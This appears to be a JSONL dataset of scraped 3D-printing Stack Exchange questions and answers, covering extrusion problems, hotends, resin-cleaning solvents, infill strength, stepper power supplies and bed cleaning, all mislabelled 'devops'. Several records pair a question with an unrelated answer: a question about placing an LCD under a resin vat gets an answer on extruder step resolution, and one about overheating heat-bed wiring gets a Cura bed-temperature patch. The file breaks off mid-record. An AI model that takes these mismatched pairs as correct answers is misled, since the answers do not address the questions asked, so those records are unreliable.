{"id": "hf_3b9f72facc63", "question": "<p>All of a sudden I seem to be having a lot of issues with under extruding on my Ender 3. The bottom layer (of height 0.1&nbsp;mm) prints perfectly fine. This is done at 15&nbsp;mm/s speed. However, The moment the print moves to layer 2 and above (at the default speed of 60&nbsp;mm/s), I start hearing a lot of clicking noise on the extruder.</p>\n\n<p>So far I have tried the following</p>\n\n<ul>\n<li>Replace nozzle to eliminate clogs</li>\n<li>Cleaned the inside of the hot end assembly</li>\n<li>Calibrated extruder steps/mm</li>\n<li>Reduced the layer height from 0.3&nbsp;mm to 0.2&nbsp;mm</li>\n<li>Reduced feed rate to as low at 50&nbsp;%</li>\n<li>Cleaned the filament feeder assembly and verified that it is able to push the filament properly (Extruding when the print is not happening works just fine with no clicking)</li>\n</ul>\n\n<p>Even with all the above, the issue is still persisting. I am not what else could be causing this. </p>\n\n<p>I am printing with PLA at 200 C</p>\n", "question_body": "", "answer": "Not allowed to comment, so have to answer:\nThe temperature sensor is a thermally sensitive resistor. Unfortunately, the temperature is near the high limit of that sensor, and the manufacturing tolerances are very significant. That is why a temperature tower is important for each printer, as well as each filament. (I have 4 printers and each requires a different temperature for the same filament. My worst-case is out by 25 degrees! - it's the one I bought second-hand because the original purchaser couldn't get it to work. I could replace the NTC, but it is easier just to have settings to suit that printer.)\nFilament does change over time. Lots of theories about why, but the practical response is to tune settings to suit the filament. The alternative is to modify the filament (eg drying, adding oil to surface, etc.), but even with really old filament, I've found adjusting settings (in the slicer, like Cura) to be the most generally workable solution.\nBottom line is to test, adjust settings and repeat until the system achieves the result you need. Treat most recommendations as serving suggestions, so use them as clues (but not rules) for the puzzles presented as 3D printing.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:09.686909"}
{"id": "hf_438f7cee5fd0", "question": "<p>The e3D volcano features an extended heater block of length 20&nbsp;mm with the cartridge heater running parallel to the filament.</p>\n\n<p>The purpose of this is to increase the speeds at which filament can be printed (of course the extruder and other factors may still be limiting factors).</p>\n\n<p>My question is how capable would this heat block be of printing at slow speeds with a 0.4&nbsp;mm nozzle?</p>\n\n<p>Is printing still possible at lower speeds or is the filament heated too much that jams occur? Is the retraction performance okay?</p>\n", "question_body": "", "answer": "Speaking from first hand experience running a Volcano hotend, mostly using a 0.6 mm nozzle, but I have used 0.4 mm as well. I can't really complain about any lower printing speed limit (low speeds are usually a solution to high speeds problems for me).\nJust for completeness: I am using a DaVinci 1.1 Plus with custom firmware (modified Marlin) and an E3D Volcano hotend. No problems with the nozzle, clean prints! Note: I am using the Titan Aero as extruder but not using the included pancake motor! Went with the original motor of the DaVinci.\nAnd as always: the parameters are key! Given a bit of tuning you can get amazing results! For PLA and ABS I can work without stringing. Although ABS seems to be prone to pitting (slight underextrusion at start of path). TPU and other flex are sometimes a bit of a challenge, but that's mainly due to my own lack of experience there.\nThe one important caveat here would be to also reduce the nozzle temperature. A possible theory here might be that the filament has more time and surface to heat up.\n(Sometimes I go as much as 15 °C lower as compared to normal/high speeds! Usually lower speeds means small pieces for me and in term means a limit to the layer cooling time.)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:09.725022"}
{"id": "hf_78a3fce7944b", "question": "<p>I'm new to 3D printing and have bought a resin printer.</p>\n\n<p>Cleaning with <strong>Isopropol Alcohol</strong> seems to be the rage, however I think this is unaware of cost savings.  It appears <strong>methylated spirits</strong> is ok and is 25% the cost of Isopropol Alcohol.</p>\n\n<p>I'm now down to wondering if I should buy methylated spirits or <strong>turpentine</strong> (I ruled out <strong>kerosene</strong> as too flammable)?\nI'm leaning towards methylated spirits, however would like input.</p>\n\n<p><strong>Factors</strong> I'm curious about:</p>\n\n<ol>\n<li>Cost: same for methylated spirits and turpentine.</li>\n<li>Evaporation/solvency: ?</li>\n<li>Flammability: ?</li>\n<li>Poisonous levels: ?</li>\n<li>Resin object cleaning effect: ?</li>\n<li>Skin effects: ?</li>\n<li>Smell: ?</li>\n</ol>\n\n<p>I checked a few <a href=\"https://www.sydneysolvents.com.au/mineral-turpentine\" rel=\"nofollow noreferrer\">sources</a>.</p>\n", "question_body": "", "answer": "I would personally stick to isopropanol. Be aware that 3D printing is a very expensive hobby, but health wise this is a better option. Methylated spirits can quickly become dangerous, and often can burn with a close to invisible flame, meaning that you may not even see if it is burning. Also, the fumes can quickly become dangerous, whereas after years of dealing with isopropanol I have noticed no ill effects. Cost should not be your primary concern, health of you and your printer should be.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:09.762035"}
{"id": "hf_acf08bcb6552", "question": "<p>I'd like to prefix this question with the fact that I know virtually nothing about 3D printers, aside from the general principles of how they work.</p>\n\n<p>I've recently seen that SLS printers have become more affordable, to the point where in a few years they might be a compelling investment. I'm mainly interested in 3D printing miniatures for painting, and as such this one:</p>\n\n<p><a href=\"https://i.stack.imgur.com/tQUMO.jpg\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/tQUMO.jpg\" alt=\"Warhammer 40k Kustom Boosta-Blasta\"></a></p>\n\n<p>For scale, the miniature is about 150&nbsp;mm long. I'm mainly worried about smaller details, such as the faces of the Gunner or Driver. Will a consumer-grade SLS printer be able to print to such level of detail?</p>\n", "question_body": "", "answer": "It's difficult to tell from your photo the level of detail required. A scale reference in the form of a metric ruler would be valuable. If, for example, the metallic eye on the gunner is 2 mm diameter, that would be 40 layers of 50 micron grains, allowing for substantial detail.\nConsumer level SLS printers, such as the Sinterit Kit, use fifty micron nylon powder and is subject to some shrinking. This implies one can expect slightly smaller than fifty micron detail to appear.\nOne of our makerspace members purchased an SLS model from Shapeways. The surface is layer-free and one can see the individual granules under magnification. If you required a level of certainty of this detail, consider that you can create a model containing various levels of detail, then commission Shapeways to create it.\nIt's certain that they use a production level system, but one can inquire of Shapeways of the size of the powder that is used.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:09.786065"}
{"id": "hf_9935326f4ca7", "question": "<p>For practicality sake, I need to print a design such that there will be weight hanging parellel to the layer lines. Is there an infill pattern that would be better than others at handling this?</p>\n\n<p>I realize that all kinds of infill will still have the same layer boundaries. Just wondering if choosing any given infill might provide better results.</p>\n", "question_body": "", "answer": "Yes, some infill patterns are better than others for preventing separation of layers. Basically (modulo some assumptions about uniformity of distribution of force), the shearing strength of the part in the Z direction at a particular layer is going to be proportional to the\nsurface area\nof bonding between successive layers. So infill patterns that stack identical infill extrusions on top of each other at each layer should be expected to be much stronger than patterns where successive layers make only partial contact. In other words, \"2D infill patterns\" - grid, lines, triangles, tri-hexagon - should be a lot stronger than \"3D infill patterns\" - cubic, octet, gyroid, ... This matches my experience printing bolts oriented along the Z-axis - ones printed with gyroid snap easily unless other measures are taken to strengthen them, while ones printed with triangles are fairly strong (though nowhere near as strong as ones printed oriented in the XY plane.\nIf you have other reason to prefer a \"3D infill pattern\", its weakness can be mitigated mostly by increasing the infill line width, so that the lines of successive layers which don't entirely overlap still touch on more surface area. (Just increasing the infill line width also works to make \"2D infill patterns\" even stronger.) However, be aware that with high print speed typically used for infill, increasing infill line width can easily exceed the capability of your hotend, resulting in underextrusion, extruder skipping, and stringing all over the place.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:09.847323"}
{"id": "hf_571eb479a8f1", "question": "<p>Is it possible to convert an image image to STL file format? </p>\n\n<p><img src=\"https://i.stack.imgur.com/Y6SYj.png\" alt=\"png image\"></p>\n\n<p>E.g. I don't need the coloring, I need the lines.</p>\n", "question_body": "", "answer": "PNGs are 2-dimensional picture data files. STL however is a 3-dimensinal surface data files. The two are not inherently transformable into one another, as there simply is no 3rd dimension encoded in the PNG.\nHowever, there are ways to generate a 3rd dimension from a color picture:\nLithophanes\ntake color information and use that as a degree of deviation from a base plane.\nUsing 3D design software that supports importing image data, one can trace the areas in 2D and\nextrude\nthem to different heights or\nemboss\nthe patterns into a block, even with different depths for each color.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:09.883721"}
{"id": "hf_9452c6b53108", "question": "<p>I am Attempting to print this, from Blender\n<a href=\"https://i.stack.imgur.com/kKdun.jpg\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/kKdun.jpg\" alt=\"enter image description here\"></a>\nBut Cura decides to fill in the middle part of the model. \n<a href=\"https://i.stack.imgur.com/1fj3T.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/1fj3T.png\" alt=\"enter image description here\"></a>\nI exported and imported the model from an STL file.</p>\n\n<p>If anyone can answer this, that would be greatly appreciated.</p>\n", "question_body": "", "answer": "I would recommend using an actual CAD/CAM program, such as Autodesk Fusion 360, instead of using a 3d model program. Not only will this be able to directly export you finished model to Cura, and the models are made in a way that works with a 3d printing slicer, there will be more help around 3D printing for it.\nAlthough it is slightly difficult to use to start with, as you become more proficient, it is a very powerful tool to have. . Fusion 360 is free for hobbyists or students. See this link for help activating:\nhttps://www.autodesk.com/campaigns/fusion-360-for-hobbyists\n.\nAnother option would be SolidWorks, although you do have to pay for this option, but it is much simpler to work with in my opinion.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:09.932135"}
{"id": "hf_ac6342dce008", "question": "<p>My problem is that I have used a 3D printing machine from the University and found out that the cover for the car was not smooth even after using sanding paper and painting it.</p>\n\n<p>What material would work best to print  the cover of the Cyber truck. I want it to be light and smooth.</p>\n\n<p>I have to print it from any online companies that have this service here in Germany.</p>\n", "question_body": "", "answer": "I have 3D printed models which were then sanded using progressively finer grades of sandpaper, terminating with wet sanding using micromesh to 12000 grit. The result was smooth and shining without any coating applied.\nIf your original results were not acceptable, the process may have been flawed and should be re-considered for technique.\nFor your purposes, as a body for a radio controlled vehicle, you'll want to consider something that can manage an impact reasonably well. ABS is going to be less expensive and provide some energy absorption but will have layer lines that require sanding and finishing. Layer thickness plays a substantial part in providing for good results and a smooth finish. I used 0.100 mm layers to get optimum smoothness.\nYou could request your model to be created in nylon using the SLS method, but the surface will be granular and would also require sanding to accomplish a smooth finish.\nSLA or MSLA resin printed models will provide a very smooth surface, but the material is brittle and may crack during \"on-road\" use. You may find a printing service which offers to create using a more flexible resin, but you'd have to request that or confirm the selection when placing the order.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:09.980382"}
{"id": "hf_14d383953fdf", "question": "<p>I am thinking to use closed-loop stepper motors to prevent step loss and make the machine more accurate. What options (preferably low cost) are there for:</p>\n\n<p><code>stepper motor + driver + encoder + microcontoller</code></p>\n\n<p>Is building it from scratch worth it? E.g. Arduino Mega 2560 + RAMPS 1.4/1.5/1.6 + stepper motors (e.g. NEMA17) + drivers (e.g. A4988, DRV8825) + encoders (e.g. AS5047P, AS5047D, AS5048A, TLE5012B) + microcontrollers (e.g. STM32).</p>\n", "question_body": "", "answer": "A number of options exist, but keep in mind that cost will be a limiting factor.\n(Small sidenote: cost depends on persective, financial cost does not equal mental cost. The tradeoff between buy or make depends also on your willingness to persist when things don't work right away.)\nBefore you start:\nmake sure that your printer has enough space to accomodate bigger motors.\nSo, what options are there?\nChange your current configuration. If you are losing steps, it could very well be that it can be fixed in firmware.\nPro: No budget and nothing to lose.\nCon: No shiny closed loop system. (Is that bad though?) Possibly need to configure and compile your own firmware.\nMacGyver / DIY solution based on low lever components\nPro: Probably as cheap as you'll get depending on how you choose your components. Might be an interesting learning experience, not to mention the satisfaction afterwards. This could be the smallest build size you'll see in all the options.\nCon: You'll need a decent amount of engineering and debugging. Might be tricky to mount the encoders.\nSame as 1, but now consider using of the shelf stepper motors\nwith integrated encoders\n.\nPro: Most robust option on a budget in my opinion due to the single mechanical piece (motor + encoder).\nCon: Integrated encoders have a considerable cost and are large compared to their vanila versions.\nGo for\noff the shelf motor+encoder and drivers\n.\nPro: No need to worry about driver configurations too much. Just plug in the numbers or set the dip switches. Very conveinient solution. Pretty much plug and play.\nCon: This will already be challenging on a budget. Making a wrong mix and match might lead to unpredictable results such as drives going in overcurrent. (Which, believe me, is very frustrating for your application!)\nIf we are allowed to consider servo motors:\nClearPath-SD series\n(Or any alternative for that matter!)\nI'm just including this for completeness.\nPro: Performance wise a clear winner on pretty much any relevant level.\nCon: You'll need a big budget!\nBottomline\n: You'll probably want to give the first option a go before spending money. Next stop, you might want to take the second option (you already did research on different specific low level components), and if you have time to spare I'd go with that as well. If you are also on a budget timewise, I'd definively suggest to take the third option with existing driver boards.\nThe other options are more cost heavy and become real options in produciton environments, where downtime is also costsing money.\nAs to the microcontroller, take whatever you have available. Just know that more computational power will allow you to output steps faster and will allow for smoother movements. Lot's to talk about there as well!", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:10.020247"}
{"id": "hf_ffd791daa140", "question": "<p>If I set my prints on the window sill (indoors) will the sunlight still be able to cure the resin? The problem with setting them outside is the wind knocking them over.</p>\n", "question_body": "", "answer": "The glass will block most of the uv light; but not all. It will depend on the type of light that the resin is sensitive to; in order to determine if it will continue to cure behind a glass window in direct sunlight. Some resins also sensitive to blue light. You will need to look at the material data sheet for the resin to be able to know for sure. Be advised though, that the resin does not stop curing, and will continue to cure slowly over time, just sitting on the desk.\nhttps://www.thoughtco.com/does-glass-block-uv-light-608316\nFrom the link:\nGlass that is transparent to visible light absorbs nearly all UVB. This is the wavelength range that can cause a sunburn, so it's true you can't get a sunburn through glass. However, UVA is much closer to the visible spectrum than UVB. About 75% of UVA passes through ordinary glass. UVA leads to skin damage and genetic mutations that can lead to cancer. Glass does not protect you from skin damage from the sun. It affects indoor plants too. Have you ever taken an indoor plant outside and burned its leaves? This happens because the plant was unaccustomed to the higher levels of UVA found outside, compared with inside a sunny window.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:10.061493"}
{"id": "hf_43cd25c75267", "question": "<p>I began build LCD printer and I want make some modifications.</p>\n\n<p>What if I will place LCD below VAT<a href=\"https://i.stack.imgur.com/Tznt5.jpg\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/Tznt5.jpg\" alt=\"enter image description here\"></a>? Will the display break when printing? what are the risks?\nI seen a lot of printers and all of them use PP material for VAT bottom and attach with a lot of screws. I want make more simple VAT-LCD constructions and I think this construction transmis UV light better</p>\n", "question_body": "", "answer": "Short answer\nUsually\nno.\nLong answer\nThere are several big factors that limit how small things you can print. The bigger ones are pretty much:\nPositional accuracy and settings (limited by steps/mm in X, Y, Z)\nNozzle diameter\nNow, why don't you need to care about steps/mm on the extruder that muchin the grand scale compared to the positional accuracy? Well, we have 1.8° per step, from which, with the diameter of the gear, 11mm, we get 0,1778 mm of filament extrusion or 0.428 mm³ of extruded plastic per full 1.8° step - which clearly is unsuitable to printing at all. But with the 16 micro-steps the shorter movements are possible and a single micro-step extrusion is in the area you calculated - I got to 0,0267 mm³, possibly the result of different rounding between us. With an assumed effective gear diameter of 11mm (usually the effective gear diameter is a little smaller, thus the 93 steps) we come to about 89.9 steps per mm of filament, which corresponds to about 2.4 mm³ of extruded plastic, or about 30 mm of line (with your given parameters), bringing us to about 3 microsteps per millimeter of line on the tray. So far, your math checks out. But that usually shouldn't be too much a limiting factor. We know from your given settings, that the\nConfiguration.h\nwill look like this, putting the microsteps into the steps/mm:\n```\n```\n/**\n* Default Axis Steps Per Unit (steps/mm)\n* Override with M92\n*                                      X, Y, Z, E0 [, E1[, E2[, E3[, E4]]]]\n*/\n#define DEFAULT_AXIS_STEPS_PER_UNIT   { 80, 80, 400, 93 }\n```\n```\nAs you don't have a micro-stepping driver, this part in\nConfiguration_adv.h\nis non-functional:\n```\n```\n// Microstep setting (Only functional when stepper driver microstep pins are connected to MCU.\n#define MICROSTEP_MODES {16,16,16,16,16} // [1,2,4,8,16]\n```\n```\nWith the proposed 0.4 mm/0.2 mm line, we are still somewhat on the good side, allowing us about 1/3rd of a millimeter as the shortest line printable as a single step extrusion. That's a consistent with printing a simple, circular dot being printable with these settings - 0.4 > 1/3.\nBut once you get to smaller nozzle diameters, the limitation gets more noticeable: at a 0.2 mm nozzle and 0.22 mm line at 0.1 mm height, that's a 0.022 mm² crosssection, so the 1-step extrusion is equivalent to a full millimeter of line! That's much more bothersome in theory.\nHowever, I haven't been able to witness the inability of showing that limit of lacking extrusion yet on my TronXY-X1 with a 0.2 mm nozzle - the steps/mm in it are also about 90-100 last I set them. The TronXY uses a very similar (virtually identical) extruder setup as the Ender 3, and it achieved printed lines of about 0.3 mm length at 0.1 mm layer height somewhat reliable, but the retraction made huge issues, which might also mask the problem.\nI believe that it needs these smaller nozzles to amplify the problems to make them noticeable. It also should become more noticeable if you'd use 2.85 mm or 3 mm filament.\nWays to improve resolution\nHowever, if printing with smaller nozzles, it might be a good idea to think about how one could improve the accuracy of the extruder system.\nThe most-easy way would be to alter the extruder and swap the gear to one of a\nsmaller\neffective diameter - That way a single step accounts to\nless\nextrusion, which means, in turn, a higher number of steps/mm, and thus allowing for shorter extrusions that can be still achieved.\nNext one might think about getting a different motor/driver setup that might have either more microsteps or generally a smaller step size.\nQuadrupling the effective (micros)steps/mm would allow us to print about a 0.25 mm line on the 0.22 mm nozzle I proposed, being pretty much a spot - if it wouldn't be partially masked in other issues as I experience.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:10.109697"}
{"id": "hf_4a8a680a661f", "question": "<p>A question to those who have a 3D printer. Have you ever needed a spare throat or a heater block? Do they ever break? </p>\n\n<p>I just bought some spare parts: heaters, thermistors, nozzles... However, I am not sure if buying throats and heater blocks make any sense.</p>\n", "question_body": "", "answer": "Short answer\nYes\nLong answer\nHeater bocks\nA heater block is destroyed if one of the following happens\nThreads stripped\nBent or otherwise deformed\nstripped grub screw\nAll of these can happen by handling the block with too much force when securing nozzles, thermosensors or heater cartridges.\nThroats\nThroats can be destroyed, especially e3D v6 throats with their neck down on the center can be simply turned and broken in two. Lined throats can be heated too much and the liner destroyed, which not always can be replaced, mandating a spare part. And you can strip the threads.\nAnother chance to damage the throat is by using very hard material nozzles - stainless steel comes to mind. Such a nozzle would not deform itself like brass when tightened against the throat and might lead to damage to the end of the throat if exchanged several times.\nConclusion\nIf you run several printers or change nozzles regularly for whatever reason, it is a very good idea to have at least a complete set of spare parts on hand to fix problems that might occur during work on the printer. I have a fully assembled spare hotend waiting for its day to shine in case my current one breaks...", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:10.134548"}
{"id": "hf_7c7e67b664f9", "question": "<p>In my custom printer I have probe and nozzle at same height and configured Marlin this way:</p>\n\n<pre><code>#define NOZZLE_TO_PROBE_OFFSET { 43, -20, 0 }\n</code></pre>\n\n<p>On the bed I've a 2&nbsp;mm glass. How I need to change the configuration? Do I need to act adding a positive Z offset? like this?</p>\n\n<pre><code>#define NOZZLE_TO_PROBE_OFFSET { 43, -20, 2 }\n</code></pre>\n", "question_body": "", "answer": "No.\nYou define the Z-Value of the Nozzle to Probe offset mainly to get avoidance of collisions, but it is checked nowhere in the firmware code at all. Usually, the probe is mounted a millimeter or so above the nozzle anyway: you mount it in such a fashion that it triggers when the nozzle has the correct distance to the bed.\nIf you alter the bed by altering the distance between the nozzle and the metal part of the bed, you might need to alter the physical position of the probe to get the printer to trigger at the correct height, but you don't necessarily need to add a Z-offset.\nYou might, however, want to include it in the slicer for the case you want to print items in a sequence, which forces most slicers to try to do an error-avoidance pattern.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:10.209584"}
{"id": "hf_ba301ed5679f", "question": "<p>I'm using a 200x200&nbsp;mm PCB Mk2B which connects to the MOSFET of the D8 pin on a RAMPS 1.4 shield. I used 12&nbsp;V power source for heat bed so I connected positive to pin 1 and negative to both pin 2 &amp; 3 of the bed. Heat bed worked properly. But the wires that connects power source to power supply pin on RAMPS were being heated badly. I think the problem is come from heat bed because when I unplugged heat bed, wires were cool down instantly. </p>\n\n<p>Can someone helps me with this problem. I'm just a newbie in this area.</p>\n", "question_body": "", "answer": "I have an\nopen bug report/feature request\nfor this. Apparently Cura doesn't do it because some of Ultimaker's printers have underpowered power supplies that will shut off if you try to do both at the same time. I've been carrying a patch (note this is against CuraEngine not the Cura GUI) that fixes this:\n```\n```\ndiff --git a/src/FffGcodeWriter.cpp b/src/FffGcodeWriter.cpp\nindex de3c771c..ced22017 100644\n--- a/src/FffGcodeWriter.cpp\n+++ b/src/FffGcodeWriter.cpp\n@@ -500,7 +500,7 @@ void FffGcodeWriter::processInitialLayerTemperature(const SliceDataStorage& stor\n                 const Temperature bed_temp = scene.current_mesh_group->settings.get<Temperature>(\"material_bed_temperature_layer_0\");\n                 if (bed_temp != 0)\n                 {\n-                    gcode.writeBedTemperatureCommand(bed_temp, scene.current_mesh_group->settings.get<bool>(\"material_bed_temp_wait\"));\n+                    gcode.writeBedTemperatureCommand(bed_temp, false);\n                 }\n             }\n         }\n@@ -547,6 +547,18 @@ void FffGcodeWriter::processInitialLayerTemperature(const SliceDataStorage& stor\n                 }\n             }\n         }\n+\n+        if (scene.current_mesh_group->settings.get<bool>(\"material_bed_temp_prepend\"))\n+        {\n+            if (scene.current_mesh_group->settings.get<bool>(\"machine_heated_bed\"))\n+            {\n+                const Temperature bed_temp = scene.current_mesh_group->settings.get<Temperature>(\"material_bed_temperature_layer_0\");\n+                if (bed_temp != 0)\n+                {\n+                    gcode.writeBedTemperatureCommand(bed_temp, scene.current_mesh_group->settings.get<bool>(\"material_bed_temp_wait\"));\n+                }\n+            }\n+        }\n     }\n }\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:10.246641"}
{"id": "hf_1c8e98dc8660", "question": "<p>Have people been using 3D printing to genuinely create a number of needed objects in their homes, and if so, what? Or is 3D printing better for special niche interests like art projects, home engineering projects, etc?</p>\n", "question_body": "", "answer": "Both.\n3D printing is especially useful for creating replacement parts for things for which it would otherwise be difficult, expensive, or impossible to obtain a conventionally manufactured one. You may have seen in the news recently the\nstory about 3D printing being used to replace hospital ventilator valves\nthat were not available in time to save patients who needed them, and that normally cost \\$11000 from the manufacturer. But the same kind of thing applies to regular household items too. For example, I've replaced broken wheels on my child's toy cars, a broken windshield washer fluid coupling in my car, and various similar things. I'm also planning to replace broken plastic wheel bearings in my vacuum cleaner (the manufacturer's design was atrociously bad and I'll probably adapt it to use real bearings with a 3D printed adapter), a window switch in my car, and lots of other things I can't remember at the moment.\nOf course you can do craft and hobby things too. I don't think this really calls for examples/evidence.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:10.294685"}
{"id": "hf_49a2e8200914", "question": "<p>I want to make an order with this configuration</p>\n\n<ul>\n<li>Arduino MEGA 2650 R3</li>\n<li>Ramps 1.6 Plus</li>\n<li>2 TMC2130 </li>\n<li>2 Stepper motors 17hs3401</li>\n<li>1 Fan</li>\n</ul>\n\n<p><img src=\"https://i.stack.imgur.com/Nl0sE.png\" alt=\"stepper_motor\"></p>\n\n<p>But I am not sure what voltage and current would be enough to make it work. The Ramps 1.6+ board has an input of 12V as you can see in the picture, but I have read that <a href=\"https://3dprinting.stackexchange.com/questions/9911/tmc2130-external-vm-ramps1-4\">other people</a> had to increase the voltage with a DC-DC converter.</p>\n\n<p><img src=\"https://i.stack.imgur.com/RtBEr.jpg\" alt=\"ramps_voltage\"></p>\n\n<p>So, would be 12V and 15A enough to make work that configuration?</p>\n", "question_body": "", "answer": "The easiest way to know how powerful the PSU should be is to download from\nhttps://github.com/rcarlyle/StepperSim\nthe Excel workbook which simulates the power absorbed by the stepper motor. Input the motor specifications, check in the graph the max speed at which you plan to run it, check the absorbed power, add 20% for the various losses. Once you know the absorbed power, you can multiply by the number of stepper motors and obtain the current required, add 20% not to stress the PSU too much.\nIn you case, this is the result\nYour motor will never absorb more than 7 W, 14 W for the two motors, around 20 W considering losses in the motors and overcapacity of the PSU. This means that around 2 A PSU will be perfect for your setup.\nPrevious answer, which may not be completely correct but still provides a useful background knowledge:\nThe TMC drivers limit the current to the value you set, which is most of the time lower than the datasheet. In no case you will need more than 1.3 A * sqrt(2) * 2 motors = 3.6 A. In fact, you won't need this much either.\nWhen there is no field in a coil, the driver applies full voltage, but the current is low (initially zero) so you don't hit the 1.3 A per coil.\nThe current increases (the higher the maximum voltage available to the driver, the faster it increases) and the driver (probably) keeps the full voltage until the preset current is reached. Just a moment before that, the current is almost there, but you still have full voltage from the power supply. This is the theoretical worst case, but it applies only for a very short amount of time.\nAs soon as the current reaches the preset, the driver \"cuts the voltage\" to keep  2.4 ohm * 1.3 A = 3.2 V (because V = R * I). This means that the power supply sees 3.2 A/12 V*1.3 A = 0.35 A.\nWhen running, the motors almost never start from zero to max current: both coils are powered and when one increases, the other one decreases.\nIn fact, the microstepping makes the steppers act more or less like AC motors with two phases. This means that overall the current is the max current per phase multipled by sqrt(2). Also, when using microstepping one phase (coil) is not completely shut off, but two of them work at the same time (with different current levels). This means that in total one compensates the other, and the power supply only provides, more or less, 0.35 * 1.4 = 0.5 A per stepper. You have two, so it's 1 A total, therefore 2 A PSU considering the inefficiencies.\nA very easy and complete explanation is provided\nhere\n:\nBy controlling the duty cycle of the chopper, an average voltage and\n  an average current equal to the nominal motor voltage and current are\n  created.\n...\nAs the current increases, a voltage develops across the\n  sensing resistor, which is fed back to the comparator. At the\n  predetermined level, defined by the voltage at the reference input,\n  the comparator resets the flipflop, which turns off the output\n  transistor. The current decreases until the clock oscillator triggers\n  the flip-flops, which turns on the output transistor again, and the\n  cycle is repeated\nSo you never have coming out of the PSU more than the preset current.\nSupply current is not the same as the motor current in a copper drive\n. It is the motor current multiplied by the dutycycle, at\n  standstill typically Isupply = IM · ( VM ⁄ Vsupply )\n...\nDepending on\n  how the H-bridge is switched during the turn-off period, the current\n  will either recirculate through one transistor and one diode (path 2),\n  giving the slow current decay, or recirculate back through the power\n  supply (path 3). The advantage of\nfeeding the power back to the\n  power supply\nis the fast current decay and the ability to quickly\n  reduce to a lower current level.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:10.343121"}
{"id": "hf_27c6f375707f", "question": "<p>I have the original Prusa i3m3 printer.  Prusa recommends cleaning the bed before each print with isopropanol (isopropyl alcohol), with only occasional cleaning with acetone.  The textured bed prohibits using acetone.</p>\n\n<p>Given the SARS-COV-2 situation and COVID-19, isopropanol is impossible to find, and will not be in stock on shelves in the US for months.</p>\n\n<p>What would you suggest as an alternative that might still be found on store shelves?</p>\n", "question_body": "", "answer": "Ethanol\n(Ethyl Alcohol) should work just fine as long as it's around 80% or more. It's very similar to isopropanol as a cleaning solvent. What you're basically doing is removing any stray grease from the bed with a solvent that evaporates quickly.\nMethanol\nwould also probably work. It's very poisonous though, and shouldn't come into contact with your skin, so it requires a bit more careful handling. Methanol also has the benefit that it can't be used for hand sanitizer (since it's absorbed through the skin), so supplies shouldn't run out.\nLook for alternative sources, for example, methanol is often sold as de-icing agent for pneumatic brakes on trucks. Just make sure it's pure alcohol without anything funky added.", "tags": [], "source": "huggingface", "category": 